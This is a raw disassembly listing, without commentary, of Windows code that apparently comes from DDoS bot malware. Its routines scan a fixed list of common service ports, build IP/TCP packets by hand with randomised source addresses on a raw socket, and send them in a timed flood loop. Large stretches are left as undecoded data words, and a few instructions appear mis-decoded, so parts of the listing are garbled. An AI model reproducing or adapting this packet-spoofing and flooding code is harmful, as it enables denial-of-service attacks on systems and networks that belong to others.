mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C500
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C500
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AB51
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C500
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C500
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B780
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AB51
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C500
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call ds:dword_4CDC5C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413C19
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call near ptr 0B10000h
sbb cl, [ebx-39C403BBh]
jg short loc_413C00
jl loc_413ABC
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jb loc_413ABC
loc_413C00: ; CODE XREF: sub_413991+25Bj
mov ebx, [ebp+arg_8]
loc_413C03: ; CODE XREF: sub_413991+78j
; sub_413991+2AFj
push [ebp+var_C]
call ds:dword_4CDC90 ; closesocket
pop esi
loc_413C0D: ; CODE XREF: sub_413991+5Bj
call ds:dword_4CDB50 ; WSACleanup
mov eax, ebx
loc_413C15: ; CODE XREF: sub_413991+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_413C19: ; CODE XREF: sub_413991+247j
call ds:dword_4CDB8C ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_438984
push eax
call sub_41BA76
lea eax, [ebp+var_F4]
push eax
call sub_4152AE
add esp, 10h
jmp short loc_413C03
sub_413991 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A9E8
push dword ptr [esp+18h]
mov esi, eax
call sub_41B969
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B969
mov edi, eax
call sub_41BAD2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_413991
add esp, 1Ch
test eax, eax
jnz short loc_413C8B
inc eax
loc_413C8B: ; CODE XREF: seg000:00413C88j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
word_413C9A dw 8B55h ; DATA XREF: seg000:00408815o
dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h
dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h
dd 9EE850FFh, 5900007Ch, 70858D50h, 50FFFFFEh, 0DC3815FFh
dd 0E850004Ch, 5Bh, 6C858D50h, 68FFFFFCh, 4389A4h, 7D84E850h
dd 0F6330000h, 3914C483h, 2075F875h, 6C858D56h, 0FFFFFFFCh
dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5C4DE8h
dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 1586h, 0E8F075FFh
dd 0FFFF7557h, 0E8565959h, 6FC2C8h, 555E5FFBh, 0EC81EC8Bh
dd 98h, 83575653h, 0FFFF78A5h, 46A00FFh, 0A86583h, 6AC9335Eh
dd 0BB5A4106h, 0FFh, 7D8DC033h, 7C8D89ACh, 0C7FFFFFFh
dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
dd 0C7000000h, 3AA045h, 5D890000h, 0B04589A4h, 0D47D8DABh
dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
dd 0DAE85700h, 59000093h, 57FC4589h, 0C15FF50h, 0FF004CDCh
dd 15FFFC75h, 4CDC7Ch, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
dd 4CDC7815h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
dd 4CDBD8h, 200BEh, 0A2E85600h, 8B000078h, 4280A83Dh, 45895900h
dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
dd 6885C766h, 2FFFFFFh, 0F815FF00h, 66004CDBh, 0FF6A8589h
dd 0CAE9FFFFh, 0E8000000h, 7C72h, 0F7CB8B99h, 0F4458BF9h
dd 0FFFFFF25h, 18E2C100h, 5589D00Bh, 7C58E8F4h, 8B990000h
dd 89F9F7CBh, 4BE8AC55h, 9900007Ch, 1FA4B9h, 0DC45C600h
dd 0C6F9F745h, 8904DD45h, 33E8D455h, 6600007Ch, 0E8E04589h
dd 7C2Ah, 59990A6Ah, 8B66F9F7h, 50B09544h, 0DBF815FFh
dd 6656004Ch, 0FFE24589h, 4CDBF815h, 45896600h, 0E45D88DEh
dd 7C01E8h, 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h
dd 8BE54588h, 4589F445h, 8458BE8h, 8DEC4589h, 0E850DC45h
dd 0FFFF6C59h, 0E6458966h, 6ADC458Dh, 75FF5014h, 85F6E8F8h
dd 0C4830000h, 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h
dd 0FFFC75FFh, 4CDC5C15h, 2BD7FF00h, 0E8B9F045h, 33000003h
dd 3BF1F7D2h, 860F0C45h, 0FFFFFF1Fh, 0E8F875FFh, 735Dh
dd 0FC75FF59h, 0DC9015FFh, 0C033004Ch, 5B405E5Fh
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
word_413F56 dw 8B55h ; DATA XREF: seg000:00406E50o
dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
dd 0FFFFFDC0h, 0F633A5F3h, 33460E6Ah, 9CB089DBh, 59000001h
dd 0BD8DC033h, 0FFFFFF61h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
dd 4280A83Dh, 50D7FF00h, 7B27E8h, 0FF685900h, 6A000000h
dd 0FF026A03h, 4CDC7815h, 0FFF88300h, 75FC4589h, 8C15FF66h
dd 50004CDBh, 0FBC0858Dh, 0C068FFFFh, 5000438Ah, 7AA5E8h
dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
dd 0FFFF596Ah, 8D14C483h, 0FFFBC085h, 0A3E850FFh, 0FF000012h
dd 0FFFF44B5h, 7271E8FFh, 5959FFFFh, 0BFE2E853h, 8DE0006Fh
dd 46ACC4Dh, 53026A51h, 0CC758950h, 0DBD815FFh, 0F883004Ch
dd 0FF6675FFh, 4CDB8C15h, 858D5000h, 0FFFFFBC0h, 438A8868h
dd 27E85000h, 8300007Ah, 9D390CC4h, 0FFFFFF58h, 8D532375h
dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
dd 0FFFDC0B5h, 58ECE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
dd 1225E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF71F3h, 0E8535959h
dd 6FBF64h, 0C4858D6Fh, 50FFFFFDh, 0DC3815FFh, 0F883004Ch
dd 8D5E75FFh, 0FFFBC085h, 8A6868FFh, 0E8500043h, 79B6h
dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 587CE8FFh
dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11B5E8h, 44B5FF00h
dd 0E8FFFFFFh, 0FFFF7183h, 0E8535959h, 6FBEF4h, 8D106A63h
dd 5053BC45h, 7667E8h, 0CC48300h, 0BC45C766h, 0FF530002h
dd 4CDBF815h, 45896600h, 0C4858DBEh, 50FFFFFDh, 0DC3815FFh
dd 4589004Ch, 85D89C0h, 4589D7FFh, 22BE9D0h, 286A0000h
dd 45D445C6h, 0DBF815FFh, 9D39004Ch, 0FFFFFF50h, 0D6458966h
dd 0D8758966h, 0DA5D8966h, 80DC45C6h, 6DD45C6h, 0DE5D8966h
dd 57E82D74h, 8B000079h, 8E6C1F0h, 794DE8h, 0C1F00300h
dd 43E808E6h, 3000079h, 8E6C1F0h, 7939E8h, 89F00300h, 0F633E075h
dd 0FF16EB46h, 0FFFDC0B5h, 694AE8FFh, 5059FFFFh, 0DC3815FFh
dd 4589004Ch, 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h
dd 7906h, 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h
dd 0F815FFFFh, 66004CDBh, 0E8EA4589h, 78E6h, 401B999h
dd 0F9F70000h, 0F815FF52h, 68004CDBh, 12345678h, 0E8458966h
dd 0DBF415FFh, 4589004Ch, 44858DECh, 68FFFFFEh, 42C300h
dd 78D2E850h, 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h
dd 44858D5Ch, 68FFFFFEh, 42C128h, 78B2E850h, 85590000h
dd 97459C0h, 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh
dd 42C120h, 7892E850h, 85590000h, 257459C0h, 7869E8h, 99036A00h
dd 89F9F759h, 5BE8F055h, 6A000078h, 0F7599902h, 1ADAF7F9h
dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
dd 4CDBF8h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h
dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0F815FF06h
dd 66004CDBh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
dd 822BE8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 821Ch, 0FF60858Dh
dd 346AFFFFh, 685FE850h, 8966FFFFh, 458DF845h, 50146AD4h
dd 0FF60858Dh, 0E850FFFFh, 81F8h, 6AE8458Dh, 858D5014h
dd 0FFFFFF74h, 81E6E850h, 46A0000h, 5388458Dh, 745AE850h
dd 0C4830000h, 60858D44h, 6AFFFFFFh, 1AE85028h, 66FFFF68h
dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 81B3E8h
dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh
dd 0FFFC75FFh, 4CDC5C15h, 0FFF88300h, 0AE840Fh, 45FF0000h
dd 2BD7FF08h, 0E8B9D045h, 33000003h, 3BF1F7D2h, 0FFFF4C85h
dd 0BB860FFFh, 0FFFFFFFDh, 15FFFC75h, 4CDC90h, 3308458Bh
dd 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah, 0C1FFFFFFh, 505114E9h
dd 0FDC4858Dh, 75FFFFFFh, 858D5008h, 0FFFFFE44h, 0C0858D50h
dd 68FFFFFBh, 438A18h, 76A4E850h, 0C4830000h, 589D391Ch
dd 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh
dd 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5569E8h, 14C483FFh
dd 0FBC0858Dh, 0E850FFFFh, 0EA2h, 0FF44B5FFh, 70E8FFFFh
dd 59FFFF6Eh, 0E1E85359h, 0EC006FBBh, 0FFFC75FFh, 4CDC9015h
dd 8C15FF00h, 50004CDBh, 0FDC4858Dh, 75FFFFFFh, 0C8685008h
dd 8D004389h, 0FFFBC085h, 20068FFh, 0E8500000h, 7720h
dd 3918C483h, 0FFFF589Dh, 532375FFh, 0FBC0858Dh, 0B5FFFFFFh
dd 0FFFFFF54h, 0C4858D50h, 50FFFFFEh, 0FDC0B5FFh, 0EBE8FFFFh
dd 83FFFF54h, 858D14C4h, 0FFFFFBC0h, 0E24E850h, 0B5FF0000h
dd 0FFFFFF44h, 0FF6DF2E8h, 535959FFh, 6FBB63E8h
db 0, 6Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov ecx, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp ecx, 1
mov [ebp+0Ch], esi
jle short loc_4144CC
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
lea edi, [eax+eax]
sub ecx, edi
loc_4144BE: ; CODE XREF: seg000:004144C6j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec eax
jnz short loc_4144BE
pop edi
cmp ecx, 1
loc_4144CC: ; CODE XREF: seg000:004144B0j
jnz short loc_4144D9
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_4144D9: ; CODE XREF: seg000:loc_4144CCj
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
word_4144F2 dw 8B55h ; DATA XREF: seg000:00408744o
dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h
dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h
dd 46E850FFh, 59000074h, 70858D50h, 50FFFFFEh, 0DC3815FFh
dd 8D50004Ch, 0FFFE6CB5h, 94EC81FFh, 6A000001h, 0FC8B5965h
dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 0F468FFFFh, 5000438Ah
dd 7519E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h
dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0DFE8FFFFh
dd 83FFFF53h, 858D14C4h, 0FFFFFC6Ch, 0D18E850h, 75FF0000h
dd 6CE9E8F0h, 5959FFFFh, 0BA5AE856h, 5555006Fh, 0EC81EC8Bh
dd 0C8h, 0FC6583h, 358B5653h, 4280A8h, 68D6FF57h, 0FFh
dd 26A036Ah, 0FFF44589h, 4CDC7815h, 0F8458900h, 0E850D6FFh
dd 74ECh, 578BB59h, 6A530000h, 0E8016A09h, 4286h, 8D505959h
dd 0E850DC45h, 7188h, 0BE0CC483h, 5A0h, 80A815FFh, 452B0042h
dd 0B9D233F4h, 3E8h, 853BF1F7h, 1A0h, 1B2870Fh, 3D830000h
dd 4D137Ch, 6A587500h, 45895810h, 458D50F0h, 50006A9Ch
dd 7147E8h, 0CC48300h, 50F0458Dh, 509C458Dh, 0FF0875FFh
dd 4CDB9C15h, 0FF6800h, 16A0000h, 4219E8h, 0B60F5000h
dd 0F50A245h, 50A145B6h, 0A045B60Fh, 38858D50h, 68FFFFFFh
dd 42EC0Ch, 73FCE850h, 0C4830000h, 8D13EB20h, 0FFFF3885h
dd 0D6068FFh, 0E850004Dh, 7A10h, 858D5959h, 0FFFFFF38h
dd 3815FF50h, 8B004CDCh, 0AC458BF8h, 0C564524h, 0B045C645h
dd 0AC458910h, 0DBF815FFh, 8966004Ch, 13E8B245h, 66000074h
dd 0BA6583h, 0B4458966h, 19C858Bh, 0C7660000h, 40B645h
dd 40B845C6h, 6B945C6h, 89BC7D89h, 0EBE8C045h, 66000073h
dd 0E8C44589h, 73E2h, 0C6458966h, 73D9E8h, 0C8458900h
dd 73D1E8h, 0CC458900h, 24D0458Bh, 0C07D8B50h, 8366500Ch
dd 6600D665h, 0D86583h, 0D0458966h, 0C6458B66h, 8966146Ah
dd 458D8E45h, 45C650ACh, 0C76618D2h, 787DD445h, 8C45C766h
dd 7D890002h, 0FD5CE890h, 0A580FFFFh, 0FFFFFF60h, 66595900h
dd 8BBA4589h, 8C68BC45h, 89000005h, 0FFFF5885h, 5CBD89FFh
dd 0C6FFFFFFh, 0FFFF6185h, 15FF06FFh, 42820Ch, 62858966h
dd 8DFFFFFFh, 0FFFF6485h, 50146AFFh, 50C4458Dh, 7D77E8h
dd 78858D00h, 53FFFFFFh, 0DC458D50h, 7D66E850h, 858D0000h
dd 0FFFFFF58h, 59868h, 0F3E85000h, 83FFFFFCh, 896620C4h
dd 458DD645h, 50106A8Ch, 8D56006Ah, 0FF50AC45h, 15FFF875h
dd 4CDC5Ch, 0E9FC45FFh, 0FFFFFE30h, 0FFF875FFh, 4CDC9015h
dd 0FC458B00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
byte_4147E1 db 55h, 8Bh, 0ECh ; DATA XREF: seg000:0040672Fo
dd 414EC81h, 558B0000h, 85B85608h, 57000000h, 0F28BC88Bh
dd 0FDECBD8Dh, 0EC81FFFFh, 214h, 0C88BA5F3h, 0FDECB58Dh
dd 0FC8BFFFFh, 21082C7h, 10000h, 0A5F30000h, 36E8h, 858D5000h
dd 0FFFFFBECh, 438B2868h, 43E85000h, 81000072h, 220C4h
dd 0EC858D00h, 50FFFFFBh, 0A69E8h, 0F075FF00h, 0FF6A3AE8h
dd 6A5959FFh, 0B7AAE800h, 559C006Fh, 0EC81EC8Bh, 254h
dd 0FFBB5653h, 57000000h, 6A036A53h, 7815FF02h, 83004CDCh
dd 4589FFF8h, 8D1A75F4h, 0FFFDAC85h, 8D2068FFh, 0E8500043h
dd 71EAh, 59FF3359h, 2C6E9h, 0EC4D8D00h, 3351046Ah, 57026AFFh
dd 0EC45C750h, 1, 0DBD815FFh, 0F883004Ch, 0FF0E75FFh, 4CDB8C15h
dd 0D0685000h, 0EB00438Ch, 0C458D1Bh, 3815FF50h, 83004CDCh
dd 2075FFF8h, 0DB8C15FFh, 6850004Ch, 438C88h, 0FDAC858Dh
dd 0E850FFFFh, 718Eh, 0E90CC483h, 26Bh, 45C76657h, 0FF0002DCh
dd 4CDBF815h, 45896600h, 0C458DDEh, 3415FF50h, 8B004282h
dd 4280A835h, 0E0458900h, 4589D6FFh, 0C458DF8h, 0AC858D50h
dd 68FFFFFDh, 438C5Ch, 7148E850h, 0C4830000h, 14BD390Ch
dd 75000002h, 858D5720h, 0FFFFFDACh, 210B5FFh, 8D500000h
dd 18C85h, 75FF5000h, 5010E808h, 0C483FFFFh, 0FC7D8914h
dd 452BD6FFh, 0B9D233F8h, 3E8h, 0F08BF1F7h, 10C858Dh, 0E8500000h
dd 6FF1h, 0F59F03Bh, 19187h, 41CBE00h, 5EB0000h, 0FFBBh
dd 7C3D3900h, 75004D13h, 58106A50h, 50F04589h, 57CC458Dh
dd 6DDAE850h, 0C4830000h, 0F0458D0Ch, 0CC458D50h, 875FF50h
dd 0DB9C15FFh, 6A53004Ch, 3EB0E801h, 0F500000h, 50D245B6h
dd 0D145B60Fh, 45B60F50h, 458D50D0h, 0EC0C68ACh, 0E8500042h
dd 7096h, 0EB20C483h, 0AC458D10h, 4D0D6068h, 0ADE85000h
dd 59000076h, 5C65659h, 4D0F60h, 0F815FF45h, 66004CDBh
dd 4D0F62A3h, 0AC458D00h, 5C76650h, 4D0F64h, 89660001h
dd 4D0F663Dh, 6805C600h, 80004D0Fh, 0F6905C6h, 6611004Dh
dd 0F6A3D89h, 15FF004Dh, 4CDC38h, 4D0F6CA3h, 0E0458B00h
dd 4D0F70A3h, 8C858D00h, 50000000h, 7A3D8966h, 0E8004D0Fh
dd 6F11h, 7559C085h, 7070E810h, 0B9990000h, 401h, 0EB52F9F7h
dd 8C858D0Eh, 50000000h, 6EF0E8h, 0FF505900h, 4CDBF815h
dd 76A36600h, 0E8004D0Fh, 7046h, 401B999h, 8680000h, 0F7000004h
dd 158966F9h, 4D0F74h, 0DBF815FFh, 68004Ch, 66000004h
dd 4D0F78A3h, 701CE800h, 0F7990000h, 7C6852FBh, 0E8004D0Fh
dd 6CBCh, 8D0CC483h, 106ADC45h, 68565750h, 4D0F60h, 0FFF475FFh
dd 4CDC5C15h, 0FFF88300h, 0A4840Fh, 45FF0000h, 0A815FFFCh
dd 2B004280h, 0D233F845h, 3E8B9h, 8BF1F700h, 0C858DD8h
dd 50000001h, 6E60E8h, 59D83B00h, 0FE76860Fh, 75FFFFFFh
dd 9015FFF4h, 8B004CDCh, 858DFC75h, 10Ch, 1CF66950h, 0E8000004h
dd 6E39h, 0C68BC88Bh, 330AE8C1h, 0C1F1F7D2h, 565014EEh
dd 8DFC75FFh, 8D500C45h, 0FFFDAC85h, 8BF868FFh, 0E8500043h
dd 6F1Eh, 391CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4DE6h
dd 5F14C483h, 5BC0335Eh, 75FFC3C9h, 15FF56FCh, 4CDB8Ch
dd 0C458D50h, 0AC858D50h, 68FFFFFDh, 438B68h, 6ECCE850h
dd 0C4830000h
db 18h, 0EBh, 0ACh
byte_414BAF db 55h ; DATA XREF: seg000:00407DC6o
dd 0EC81EC8Bh, 414h, 5608458Bh, 85B957h, 0F08B0000h, 0FDECBD8Dh
dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
dd 6D87E850h, 50590000h, 0FE70858Dh, 0E850FFFFh, 6D79h
dd 858D5059h, 0FFFFFDF0h, 3815FF50h, 50004CDCh, 144E8h
dd 858D5000h, 0FFFFFBECh, 438D4C68h, 5FE85000h, 3300006Eh
dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh
dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 4D28E8FFh, 0C483FFFFh
dd 0EC858D14h, 50FFFFFBh, 661E8h, 0F075FF00h, 0FF6632E8h
dd 565959FFh, 6FB3A3E8h, 5E5FAA00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C60 proc near ; CODE XREF: seg000:00414ECDp
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_414C89
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_428210 ; connect
jmp loc_414D45
; ---------------------------------------------------------------------------
loc_414C89: ; CODE XREF: sub_414C60+13j
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
xor edi, edi
push eax
inc edi
push 8004667Eh
push esi
mov [ebp+var_8], edi
call ds:dword_4281F8 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_4CDBA0 ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call ds:dword_4CDBE0 ; select
test eax, eax
jnz short loc_414CED
or eax, 0FFFFFFFFh
jmp short loc_414D45
; ---------------------------------------------------------------------------
loc_414CED: ; CODE XREF: sub_414C60+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_414CF8
loc_414CF4: ; CODE XREF: sub_414C60+B8j
; sub_414C60+DCj
mov eax, edi
jmp short loc_414D45
; ---------------------------------------------------------------------------
loc_414CF8: ; CODE XREF: sub_414C60+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426A18 ; __WSAFDIsSet
test eax, eax
jnz short loc_414D1A
lea eax, [ebp+var_210]
push eax
push esi
call sub_426A18 ; __WSAFDIsSet
test eax, eax
jz short loc_414CF4
loc_414D1A: ; CODE XREF: sub_414C60+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call ds:dword_4281E4 ; getsockopt
cmp eax, edi
jz short loc_414CF4
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_414D45: ; CODE XREF: sub_414C60+24j
; sub_414C60+8Bj ...
pop edi
pop esi
leave
retn
sub_414C60 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 108h
xor eax, eax
push ebx
push esi
inc eax
push edi
xor ebx, ebx
push eax
push ebx
push ebx
push 0FFh
push 3
mov [ebp-10h], eax
pop esi
push esi
push 2
call ds:dword_428208 ; WSASocketA
lea ecx, [ebp-10h]
push 4
push ecx
push 2
push ebx
push eax
mov ds:dword_4D13E0, eax
call ds:dword_4CDBD8 ; setsockopt
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
pop ecx
xor eax, eax
push 19h
lea edi, [ebp-0FCh]
pop ecx
mov [ebp-108h], ebx
mov [ebp-78h], ecx
mov [ebp-104h], ebx
mov [ebp-100h], ebx
mov [ebp-18h], esi
mov dword ptr [ebp-88h], 401h
mov dword ptr [ebp-84h], 15h
mov dword ptr [ebp-80h], 16h
mov dword ptr [ebp-7Ch], 17h
mov dword ptr [ebp-74h], 35h
mov dword ptr [ebp-70h], 50h
mov dword ptr [ebp-6Ch], 51h
mov dword ptr [ebp-68h], 58h
mov dword ptr [ebp-64h], 6Eh
mov dword ptr [ebp-60h], 71h
mov dword ptr [ebp-5Ch], 77h
mov dword ptr [ebp-58h], 87h
mov dword ptr [ebp-54h], 89h
mov dword ptr [ebp-50h], 8Bh
mov dword ptr [ebp-4Ch], 8Fh
mov dword ptr [ebp-48h], 1BBh
mov dword ptr [ebp-44h], 1BDh
mov dword ptr [ebp-40h], 400h
mov dword ptr [ebp-3Ch], 599h
mov dword ptr [ebp-38h], 5DCh
mov dword ptr [ebp-34h], 6B8h
mov dword ptr [ebp-30h], 0CEAh
mov dword ptr [ebp-2Ch], 0D3Dh
mov dword ptr [ebp-28h], 1388h
mov dword ptr [ebp-24h], 1A0Bh
mov dword ptr [ebp-20h], 1F40h
mov dword ptr [ebp-1Ch], 1F90h
mov [ebp-0Ch], ebx
rep stosd
mov dword ptr [ebp-14h], 0BB8h
xor esi, esi
loc_414E87: ; CODE XREF: seg000:00414EF5j
mov eax, [ebp+8]
lea edi, [ebp+esi-88h]
mov [ebp-94h], eax
mov word ptr [ebp-98h], 2
mov ax, [edi]
push eax
call ds:dword_4CDBF8 ; htons
push ebx
push 1
push 2
mov [ebp-96h], ax
call ds:dword_4CDC78 ; socket
lea ecx, [ebp-18h]
mov [ebp-8], eax
push ecx
lea ecx, [ebp-98h]
push 10h
push ecx
push eax
call sub_414C60
add esp, 10h
mov [ebp-4], eax
push dword ptr [ebp-8]
call ds:dword_4CDC90 ; closesocket
cmp [ebp-4], ebx
jnz short loc_414EEF
mov eax, [edi]
mov [ebp+esi-108h], eax
loc_414EEF: ; CODE XREF: seg000:00414EE4j
add esi, 4
cmp esi, 70h
jl short loc_414E87
mov esi, offset dword_4D13E8
push offset asc_42E0C8 ; " "
push esi
call sub_41BA76
mov edi, ds:dword_4280A8
pop ecx
pop ecx
call edi ; GetTickCount
mov [ebp-8], eax
mov [ebp-4], ebx
loc_414F17: ; CODE XREF: seg000:00414F6Ej
call edi ; GetTickCount
sub eax, [ebp-8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+0Ch]
ja short loc_414F70
mov eax, [ebp-4]
mov eax, [ebp+eax*4-108h]
cmp eax, ebx
jz short loc_414F4D
push eax
push esi
push offset aSD ; "%s%d "
push esi
mov [ebp-0Ch], eax
call sub_41BA76
add esp, 10h
jmp short loc_414F67
; ---------------------------------------------------------------------------
loc_414F4D: ; CODE XREF: seg000:00414F36j
push 0FFFFh
push ebx
call sub_418872
pop ecx
pop ecx
push eax
call ds:dword_4CDBF8 ; htons
movzx eax, ax
mov [ebp-0Ch], eax
loc_414F67: ; CODE XREF: seg000:00414F4Bj
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 1Ch
jl short loc_414F17
loc_414F70: ; CODE XREF: seg000:00414F28j
; seg000:004151A7j
push 28h
push ebx
push offset byte_4D1384
call sub_41B780
mov esi, 0FFFFh
mov ds:byte_4D1384, 45h
push esi
push 400h
mov ds:byte_4D138D, 6
mov ds:byte_4D1385, 8
call sub_418872
add esp, 14h
push eax
call ds:dword_4CDBF8 ; htons
push 28h
mov ds:word_4D1388, ax
call ds:dword_4CDBF8 ; htons
or ds:byte_4D138C, 0FFh
cmp ds:dword_4D137C, ebx
mov ds:word_4D1386, ax
mov ds:word_4D138A, bx
jnz short loc_414FF0
push 0FFFEh
push 1
call sub_418872
pop ecx
pop ecx
mov ecx, [ebp+8]
shl eax, 10h
and ecx, esi
or eax, ecx
jmp short loc_414FFB
; ---------------------------------------------------------------------------
loc_414FF0: ; CODE XREF: seg000:00414FD4j
push offset dword_4D0D60
call ds:dword_4CDC38 ; inet_addr
loc_414FFB: ; CODE XREF: seg000:00414FEEj
mov ds:dword_4D1390, eax
mov eax, [ebp+8]
push 4000h
mov ds:dword_4D1394, eax
mov ds:byte_4D13A5, bl
call ds:dword_4CDBF8 ; htons
push esi
push ebx
mov ds:word_4D13A6, ax
call sub_418872
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_418872
add esp, 10h
add edi, eax
push edi
call ds:dword_4CDBF4 ; htonl
mov ds:dword_4D139C, eax
mov al, ds:byte_4D13A4
mov edi, [ebp+8]
and al, 0Fh
or al, 50h
push 14h
mov ds:byte_4D13A4, al
mov ax, [ebp-0Ch]
mov ds:dword_4D13A0, ebx
mov ds:word_4D13AA, bx
